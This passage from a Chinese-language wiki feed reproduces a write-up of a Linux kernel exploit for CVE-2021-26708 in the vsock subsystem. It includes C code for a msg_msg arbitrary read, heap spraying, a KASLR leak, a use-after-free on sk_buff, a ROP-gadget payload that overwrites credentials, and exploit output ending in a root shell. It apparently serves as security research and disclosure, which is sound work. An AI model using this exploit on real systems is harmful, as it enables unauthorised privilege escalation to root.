        msg_ptr-&amp;gt;m_type = 0x1337;&lt;br /&gt;
        msg_ptr-&amp;gt;m_ts = ARB_READ_SZ;&lt;br /&gt;
        msg_ptr-&amp;gt;next = (struct msg_msgseg *)kaddr; /* set the segment ptr for arbitrary read */&lt;br /&gt;
        printf(&amp;quot;\tmsg_ptr %p\n\tm_type %lx at %p\n\tm_ts %zu at %p\n\tmsgseg next %p at %p\n&amp;quot;,&lt;br /&gt;
               msg_ptr,&lt;br /&gt;
               msg_ptr-&amp;gt;m_type, &amp;amp;(msg_ptr-&amp;gt;m_type),&lt;br /&gt;
               msg_ptr-&amp;gt;m_ts, &amp;amp;(msg_ptr-&amp;gt;m_ts),&lt;br /&gt;
               msg_ptr-&amp;gt;next, &amp;amp;(msg_ptr-&amp;gt;next));&lt;br /&gt;
    }&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;div lang=&amp;quot;chinese&amp;quot; dir=&amp;quot;ltr&amp;quot; class=&amp;quot;mw-content-ltr&amp;quot;&amp;gt;&lt;br /&gt;
但是如何使用msg_msg讀取內核數據呢？通過閱讀msgrcv()系統調用文檔，我找到了好解決方案，使用msgrcv()和MSG標誌：&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
MSG_COPY (since Linux 3.8)&lt;br /&gt;
        Nondestructively fetch a copy of the message at the ordinal position  in  the  queue&lt;br /&gt;
        specified by msgtyp (messages are considered to be numbered starting at 0).&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;div lang=&amp;quot;chinese&amp;quot; dir=&amp;quot;ltr&amp;quot; class=&amp;quot;mw-content-ltr&amp;quot;&amp;gt;&lt;br /&gt;
這個標誌使內核將消息數據複製到用戶空間，不從消息隊列中刪除。如果內核有CONFIG_CHECKPOINT_RESTORE=y，則MSG是可用的，在Fedora Server適用。&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div lang=&amp;quot;chinese&amp;quot; dir=&amp;quot;ltr&amp;quot; class=&amp;quot;mw-content-ltr&amp;quot;&amp;gt;&lt;br /&gt;
===任意讀的步驟===&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div lang=&amp;quot;chinese&amp;quot; dir=&amp;quot;ltr&amp;quot; class=&amp;quot;mw-content-ltr&amp;quot;&amp;gt;&lt;br /&gt;
準備工作：&lt;br /&gt;
使用sched_getaffinity()和CPU_COUNT()計算可用的CPU數量（該漏洞至少需要兩個）;&lt;br /&gt;
打開/dev/kmsg進行解析;&lt;br /&gt;
mmap()將spray_data內存區域配置userfaultfd()作為最後一部分;&lt;br /&gt;
啟動一個單獨的pthread來處理userfaultfd()事件;&lt;br /&gt;
啟動127個threads用於msg_msg上的setxattr()&amp;amp;userfaultfd()堆噴射，並將它們掛在thread_barrier上;&lt;br /&gt;
獲取原始msg_msg的內核地址:&lt;br /&gt;
在虛擬套接字上進行條件競爭;&lt;br /&gt;
在第二個connect()後，在忙循環中等待35微秒;&lt;br /&gt;
調用msgsnd()來建立一個單獨的消息隊列；在內存破壞後，msg_msg對像被放置在virtio_vsock_sock位置;&lt;br /&gt;
解析內核日誌，從內核警告（RCX寄存器）中保存msg_msg的內核地址;&lt;br /&gt;
同時，從RBX寄存器中保存vsock_sock的內核地址;&lt;br /&gt;
使用損壞的 msg_msg對原始msg_msg執行任意釋放:&lt;br /&gt;
使用原始 msg_msg地址的4個字節作為 SO_VM_SOCKETS_BUFFER_SIZE，用於實現內存破壞；&lt;br /&gt;
在虛擬套接字上進行條件競爭；&lt;br /&gt;
在第二個connect()之後馬上調用msgsnd()；msg_msg被放置在virtio_vsock_sock的位置，實現破壞；&lt;br /&gt;
現在被破壞的msg_msg的security指針存儲原始msg_msg的地址(來自步驟2)；&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:T01a2a2d47c9494c4a5.png | 600px ]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div lang=&amp;quot;chinese&amp;quot; dir=&amp;quot;ltr&amp;quot; class=&amp;quot;mw-content-ltr&amp;quot;&amp;gt;&lt;br /&gt;
如果在處理 msgsnd() 的過程中發生了來自 setsockopt()線程的 msg_msg.security內存損壞，進而SELinux權限檢查失敗；&lt;br /&gt;
在這種情況下，msgsnd()返回-1，損壞的msg_msg被銷毀；釋放msg_msg.security可以釋放原始msg_msg；&lt;br /&gt;
用一個可控的payload 覆蓋原始msg_msg：&lt;br /&gt;
msgsnd()失敗後，漏洞就會調用pthread_barrier_wait()，調用127個用於堆噴射的pthreads；&lt;br /&gt;
這些pthreads執行setxattr()的payload；&lt;br /&gt;
原始msg_msg被可控的數據覆蓋，msg_msg.next指針存儲vsock_sock對象的地址；&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:T0140baae964febb059.png | 600px ]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div lang=&amp;quot;chinese&amp;quot; dir=&amp;quot;ltr&amp;quot; class=&amp;quot;mw-content-ltr&amp;quot;&amp;gt;&lt;br /&gt;
通過從存儲被覆蓋的 msg_msg的消息隊列中接收消息，將vsock_sock內核對象的內容讀到用戶空間：&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
ret = msgrcv(msg_locations[0].msq_id, kmem, ARB_READ_SZ, 0,&lt;br /&gt;
                IPC_NOWAIT | MSG_COPY | MSG_NOERROR);&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div lang=&amp;quot;chinese&amp;quot; dir=&amp;quot;ltr&amp;quot; class=&amp;quot;mw-content-ltr&amp;quot;&amp;gt;&lt;br /&gt;
==尋找攻擊目標==&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div lang=&amp;quot;chinese&amp;quot; dir=&amp;quot;ltr&amp;quot; class=&amp;quot;mw-content-ltr&amp;quot;&amp;gt;&lt;br /&gt;
以下是我找到的點：&lt;br /&gt;
1.專用的塊緩存，如PINGv6和sock_inode_cache有很多指向對象的指針&lt;br /&gt;
2.struct mem_cgroup *sk_memcg指針在vsock_sock.sk偏移量664處。 mem_cgroup結構是在kmalloc-4k塊緩存中分配的。&lt;br /&gt;
3.const struct cred *owner指針在vsock_sock.sk偏移量840處，存儲了可以覆蓋進行權限升級的憑證的地址。&lt;br /&gt;
4.void (*sk_write_space)(struct sock *)函數指針在vsock_sock.sk偏移量688處，被設置為sock_def_write_space()內核函數的地址。它可以用來計算KASLR偏移量。&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div lang=&amp;quot;chinese&amp;quot; dir=&amp;quot;ltr&amp;quot; class=&amp;quot;mw-content-ltr&amp;quot;&amp;gt;&lt;br /&gt;
下面是該漏洞如何從內存中提取這些指針:&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#define SK_MEMCG_RD_LOCATION    (DATALEN_MSG + SK_MEMCG_OFFSET)&lt;br /&gt;
#define OWNER_CRED_OFFSET    840&lt;br /&gt;
#define OWNER_CRED_RD_LOCATION    (DATALEN_MSG + OWNER_CRED_OFFSET)&lt;br /&gt;
#define SK_WRITE_SPACE_OFFSET    688&lt;br /&gt;
#define SK_WRITE_SPACE_RD_LOCATION (DATALEN_MSG + SK_WRITE_SPACE_OFFSET) &lt;br /&gt;
/*&lt;br /&gt;
 * From Linux kernel 5.10.11-200.fc33.x86_64:&lt;br /&gt;
 *   function pointer for calculating KASLR secret&lt;br /&gt;
 */&lt;br /&gt;
#define SOCK_DEF_WRITE_SPACE    0xffffffff819851b0lu &lt;br /&gt;
unsigned long sk_memcg = 0;&lt;br /&gt;
unsigned long owner_cred = 0;&lt;br /&gt;
unsigned long sock_def_write_space = 0;&lt;br /&gt;
unsigned long kaslr_offset = 0;&lt;br /&gt;
&lt;br /&gt;
/* ... */&lt;br /&gt;
&lt;br /&gt;
    sk_memcg = kmem[SK_MEMCG_RD_LOCATION / sizeof(uint64_t)];&lt;br /&gt;
    printf(&amp;quot;[+] Found sk_memcg %lx (offset %ld in the leaked kmem)\n&amp;quot;,&lt;br /&gt;
            sk_memcg, SK_MEMCG_RD_LOCATION);&lt;br /&gt;
&lt;br /&gt;
    owner_cred = kmem[OWNER_CRED_RD_LOCATION / sizeof(uint64_t)];&lt;br /&gt;
    printf(&amp;quot;[+] Found owner cred %lx (offset %ld in the leaked kmem)\n&amp;quot;,&lt;br /&gt;
            owner_cred, OWNER_CRED_RD_LOCATION);&lt;br /&gt;
&lt;br /&gt;
    sock_def_write_space = kmem[SK_WRITE_SPACE_RD_LOCATION / sizeof(uint64_t)];&lt;br /&gt;
    printf(&amp;quot;[+] Found sock_def_write_space %lx (offset %ld in the leaked kmem)\n&amp;quot;,&lt;br /&gt;
            sock_def_write_space, SK_WRITE_SPACE_RD_LOCATION);&lt;br /&gt;
&lt;br /&gt;
    kaslr_offset = sock_def_write_space - SOCK_DEF_WRITE_SPACE;&lt;br /&gt;
    printf(&amp;quot;[+] Calculated kaslr offset: %lx\n&amp;quot;, kaslr_offset);&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div lang=&amp;quot;chinese&amp;quot; dir=&amp;quot;ltr&amp;quot; class=&amp;quot;mw-content-ltr&amp;quot;&amp;gt;&lt;br /&gt;
==在 sk_buff 上實現 Use-after-free==&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div lang=&amp;quot;chinese&amp;quot; dir=&amp;quot;ltr&amp;quot; class=&amp;quot;mw-content-ltr&amp;quot;&amp;gt;&lt;br /&gt;
Linux內核中與網絡相關的緩衝區用struct sk_buff表示，這個對像中有skb_shared_info與destructor_arg，可以用於控制流劫持。網絡數據和skb_shared_info被放置在由sk_buff.head指向的同一個內核內存塊中。因此，在用戶空間中創建一個2800字節的網絡數據包會使skb_shared_info被分配到kmalloc-4k塊緩存中，mem_cgroup對像也是如此。&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div lang=&amp;quot;chinese&amp;quot; dir=&amp;quot;ltr&amp;quot; class=&amp;quot;mw-content-ltr&amp;quot;&amp;gt;&lt;br /&gt;
我構建了以下步驟：&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div lang=&amp;quot;chinese&amp;quot; dir=&amp;quot;ltr&amp;quot; class=&amp;quot;mw-content-ltr&amp;quot;&amp;gt;&lt;br /&gt;
1.使用socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)創建一個客戶端套接字和32個服務器套接字&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div lang=&amp;quot;chinese&amp;quot; dir=&amp;quot;ltr&amp;quot; class=&amp;quot;mw-content-ltr&amp;quot;&amp;gt;&lt;br /&gt;
2.在用戶空間中準備一個2800字節的緩衝區，並用0x42對其memset()&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div lang=&amp;quot;chinese&amp;quot; dir=&amp;quot;ltr&amp;quot; class=&amp;quot;mw-content-ltr&amp;quot;&amp;gt;&lt;br /&gt;
3.用sendto()將這個緩衝區從客戶端套接字發送到每個服務器套接字，用於在kmalloc-4k中創建sk_buff對象。在每個可用的CPU上使用`sched_setaffinity()&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div lang=&amp;quot;chinese&amp;quot; dir=&amp;quot;ltr&amp;quot; class=&amp;quot;mw-content-ltr&amp;quot;&amp;gt;&lt;br /&gt;
4.對vsock_sock執行任意讀取過程&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div lang=&amp;quot;chinese&amp;quot; dir=&amp;quot;ltr&amp;quot; class=&amp;quot;mw-content-ltr&amp;quot;&amp;gt;&lt;br /&gt;
5.計算可能的sk_buff內核地址為sk_memcg加4096(kmalloc-4k的下一個元素)&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div lang=&amp;quot;chinese&amp;quot; dir=&amp;quot;ltr&amp;quot; class=&amp;quot;mw-content-ltr&amp;quot;&amp;gt;&lt;br /&gt;
6.對這個可能的sk_buff地址執行任意讀&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div lang=&amp;quot;chinese&amp;quot; dir=&amp;quot;ltr&amp;quot; class=&amp;quot;mw-content-ltr&amp;quot;&amp;gt;&lt;br /&gt;
7.如果在網絡數據的位置找到0x42424242424242lu，則找到真正的sk_buff，進入步驟8。否則，在可能的sk_buff地址上加4096，轉到步驟6&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div lang=&amp;quot;chinese&amp;quot; dir=&amp;quot;ltr&amp;quot; class=&amp;quot;mw-content-ltr&amp;quot;&amp;gt;&lt;br /&gt;
8.sk_buff上執行32個pthreads的setxattr()&amp;amp;userfaultfd()堆噴射，並把它們掛在pthread_barrier上&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div lang=&amp;quot;chinese&amp;quot; dir=&amp;quot;ltr&amp;quot; class=&amp;quot;mw-content-ltr&amp;quot;&amp;gt;&lt;br /&gt;
9.對sk_buff內核地址進行任意釋放&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div lang=&amp;quot;chinese&amp;quot; dir=&amp;quot;ltr&amp;quot; class=&amp;quot;mw-content-ltr&amp;quot;&amp;gt;&lt;br /&gt;
10.調用pthread_barrier_wait()，執行32個setxattr()覆蓋skb_shared_info的堆噴pthreads&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div lang=&amp;quot;chinese&amp;quot; dir=&amp;quot;ltr&amp;quot; class=&amp;quot;mw-content-ltr&amp;quot;&amp;gt;&lt;br /&gt;
11.使用recv()接收服務器套接字的網絡消息。&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div lang=&amp;quot;chinese&amp;quot; dir=&amp;quot;ltr&amp;quot; class=&amp;quot;mw-content-ltr&amp;quot;&amp;gt;&lt;br /&gt;
==通過skb_shared_info 進行任意寫==&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div lang=&amp;quot;chinese&amp;quot; dir=&amp;quot;ltr&amp;quot; class=&amp;quot;mw-content-ltr&amp;quot;&amp;gt;&lt;br /&gt;
以下是覆蓋sk_buff對象的有效payload：&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#define SKB_SIZE        4096&lt;br /&gt;
#define SKB_SHINFO_OFFSET    3776&lt;br /&gt;
#define MY_UINFO_OFFSET        256&lt;br /&gt;
#define SKBTX_DEV_ZEROCOPY    (1 &amp;lt;&amp;lt; 3) &lt;br /&gt;
void prepare_xattr_vs_skb_spray(void)&lt;br /&gt;
{&lt;br /&gt;
    struct skb_shared_info *info = NULL;&lt;br /&gt;
&lt;br /&gt;
    xattr_addr = spray_data + PAGE_SIZE * 4 - SKB_SIZE + 4;&lt;br /&gt;
&lt;br /&gt;
    /* Don't touch the second part to avoid breaking page fault delivery */&lt;br /&gt;
    memset(spray_data, 0x0, PAGE_SIZE * 4);&lt;br /&gt;
&lt;br /&gt;
    info = (struct skb_shared_info *)(xattr_addr + SKB_SHINFO_OFFSET);&lt;br /&gt;
    info-&amp;gt;tx_flags = SKBTX_DEV_ZEROCOPY;&lt;br /&gt;
    info-&amp;gt;destructor_arg = uaf_write_value + MY_UINFO_OFFSET;&lt;br /&gt;
&lt;br /&gt;
    uinfo_p = (struct ubuf_info *)(xattr_addr + MY_UINFO_OFFSET);&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div lang=&amp;quot;chinese&amp;quot; dir=&amp;quot;ltr&amp;quot; class=&amp;quot;mw-content-ltr&amp;quot;&amp;gt;&lt;br /&gt;
skb_shared_info駐留在噴射數據中，正好在偏移量SKB_SHINFO_OFFSET處，即3776字節。 skb_shared_info.destructor_arg指針存儲了struct ubuf_info的地址。因為被攻擊的sk_buff的內核地址是已知的，所以能在網絡緩衝區的MY_UINFO_OFFSET處創建了一個假的ubuf_info。下面是有效payload的佈局：&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:T0185ccbf9f025c74da.png  | 600px]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div lang=&amp;quot;chinese&amp;quot; dir=&amp;quot;ltr&amp;quot; class=&amp;quot;mw-content-ltr&amp;quot;&amp;gt;&lt;br /&gt;
下面講講destructor_arg 回調:&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 /*&lt;br /&gt;
     * A single ROP gadget for arbitrary write:&lt;br /&gt;
     *   mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rdx + rcx*8], rsi ; ret&lt;br /&gt;
     * Here rdi stores uinfo_p address, rcx is 0, rsi is 1&lt;br /&gt;
     */&lt;br /&gt;
    uinfo_p-&amp;gt;callback = ARBITRARY_WRITE_GADGET + kaslr_offset;&lt;br /&gt;
    uinfo_p-&amp;gt;desc = owner_cred + CRED_EUID_EGID_OFFSET; /* value for &amp;quot;qword ptr [rdi + 8]&amp;quot; */&lt;br /&gt;
    uinfo_p-&amp;gt;desc = uinfo_p-&amp;gt;desc - 1; /* rsi value 1 should not get into euid */&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div lang=&amp;quot;chinese&amp;quot; dir=&amp;quot;ltr&amp;quot; class=&amp;quot;mw-content-ltr&amp;quot;&amp;gt;&lt;br /&gt;
由於在vmlinuz-5.10.11-200.fc33.x86_64中找不到一個能滿足我需求的gadget，所以我自己進行了研究構造。&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div lang=&amp;quot;chinese&amp;quot; dir=&amp;quot;ltr&amp;quot; class=&amp;quot;mw-content-ltr&amp;quot;&amp;gt;&lt;br /&gt;
callback函數指針存儲一個ROP gadget 地址，RDI存儲callback函數的第一個參數，也就是ubuf_info本身的地址，RDI + 8指向ubuf_info.desc。 gadget 將ubuf_info.desc移動到RDX。現在RDX包含有效用戶ID和組ID的地址減一個字節。這個字節很重要：當gadget從 RSI向 RDX指向的內存中寫入消息1時，有效的 uid和 gid將被零覆蓋。重複同樣的過程，直到權限升級到root。整個過程輸出流如下：&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
[a13x@localhost ~]$ ./vsock_pwn&lt;br /&gt;
&lt;br /&gt;
=================================================&lt;br /&gt;
==== CVE-2021-26708 PoC exploit by a13xp0p0v ====&lt;br /&gt;
=================================================&lt;br /&gt;
&lt;br /&gt;
[+] begin as: uid=1000, euid=1000&lt;br /&gt;
[+] we have 2 CPUs for racing&lt;br /&gt;
[+] getting ready...&lt;br /&gt;
[+] remove old files for ftok()&lt;br /&gt;
[+] spray_data at 0x7f0d9111d000&lt;br /&gt;
[+] userfaultfd #1 is configured: start 0x7f0d91121000, len 0x1000&lt;br /&gt;
[+] fault_handler for uffd 38 is ready&lt;br /&gt;
&lt;br /&gt;
[+] stage I: collect good msg_msg locations&lt;br /&gt;
[+] go racing, show wins: &lt;br /&gt;
    save msg_msg ffff9125c25a4d00 in msq 11 in slot 0&lt;br /&gt;
    save msg_msg ffff9125c25a4640 in msq 12 in slot 1&lt;br /&gt;
    save msg_msg ffff9125c25a4780 in msq 22 in slot 2&lt;br /&gt;
    save msg_msg ffff9125c3668a40 in msq 78 in slot 3&lt;br /&gt;
&lt;br /&gt;
[+] stage II: arbitrary free msg_msg using corrupted msg_msg&lt;br /&gt;
    kaddr for arb free: ffff9125c25a4d00&lt;br /&gt;
    kaddr for arb read: ffff9125c2035300&lt;br /&gt;
[+] adapt the msg_msg spraying payload:&lt;br /&gt;
    msg_ptr 0x7f0d91120fd8&lt;br /&gt;
    m_type 1337 at 0x7f0d91120fe8&lt;br /&gt;
    m_ts 6096 at 0x7f0d91120ff0&lt;br /&gt;
    msgseg next 0xffff9125c2035300 at 0x7f0d91120ff8&lt;br /&gt;
[+] go racing, show wins: &lt;br /&gt;
&lt;br /&gt;
[+] stage III: arbitrary read vsock via good overwritten msg_msg (msq 11)&lt;br /&gt;
[+] msgrcv returned 6096 bytes&lt;br /&gt;
[+] Found sk_memcg ffff9125c42f9000 (offset 4712 in the leaked kmem)&lt;br /&gt;
[+] Found owner cred ffff9125c3fd6e40 (offset 4888 in the leaked kmem)&lt;br /&gt;
[+] Found sock_def_write_space ffffffffab9851b0 (offset 4736 in the leaked kmem)&lt;br /&gt;
[+] Calculated kaslr offset: 2a000000&lt;br /&gt;
&lt;br /&gt;
[+] stage IV: search sprayed skb near sk_memcg...&lt;br /&gt;
[+] checking possible skb location: ffff9125c42fa000&lt;br /&gt;
[+] stage IV part I: repeat arbitrary free msg_msg using corrupted msg_msg&lt;br /&gt;
    kaddr for arb free: ffff9125c25a4640&lt;br /&gt;
    kaddr for arb read: ffff9125c42fa030&lt;br /&gt;
[+] adapt the msg_msg spraying payload:&lt;br /&gt;
    msg_ptr 0x7f0d91120fd8&lt;br /&gt;
    m_type 1337 at 0x7f0d91120fe8&lt;br /&gt;
    m_ts 6096 at 0x7f0d91120ff0&lt;br /&gt;
    msgseg next 0xffff9125c42fa030 at 0x7f0d91120ff8&lt;br /&gt;
[+] go racing, show wins: 0 0 20 15 42 11 &lt;br /&gt;
[+] stage IV part II: arbitrary read skb via good overwritten msg_msg (msq 12)&lt;br /&gt;
[+] msgrcv returned 6096 bytes&lt;br /&gt;
[+] found a real skb&lt;br /&gt;
&lt;br /&gt;
[+] stage V: try to do UAF on skb at ffff9125c42fa000&lt;br /&gt;
[+] skb payload:&lt;br /&gt;
    start at 0x7f0d91120004&lt;br /&gt;
    skb_shared_info at 0x7f0d91120ec4&lt;br /&gt;
    tx_flags 0x8&lt;br /&gt;
    destructor_arg 0xffff9125c42fa100&lt;br /&gt;
    callback 0xffffffffab64f6d4&lt;br /&gt;
    desc 0xffff9125c3fd6e53&lt;br /&gt;
[+] go racing, show wins: 15 &lt;br /&gt;
&lt;br /&gt;
[+] stage VI: repeat UAF on skb at ffff9125c42fa000&lt;br /&gt;
[+] go racing, show wins: 0 12 13 15 3 12 4 16 17 18 9 47 5 12 13 9 13 19 9 10 13 15 12 13 15 17 30 &lt;br /&gt;
&lt;br /&gt;
[+] finish as: uid=0, euid=0&lt;br /&gt;
[+] starting the root shell...&lt;br /&gt;
uid=0(root) gid=0(root) groups=0(root),1000(a13x) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div lang=&amp;quot;chinese&amp;quot; dir=&amp;quot;ltr&amp;quot; class=&amp;quot;mw-content-ltr&amp;quot;&amp;gt;&lt;br /&gt;
==視頻==&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;youtube&amp;gt;https://www.youtube.com/watch?v=EC8PFOYOUgU&amp;lt;/youtube&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div lang=&amp;quot;chinese&amp;quot; dir=&amp;quot;ltr&amp;quot; class=&amp;quot;mw-content-ltr&amp;quot;&amp;gt;&lt;br /&gt;
==參考==&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
https://a13xp0p0v.github.io/2021/02/09/CVE-2021-26708.html&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>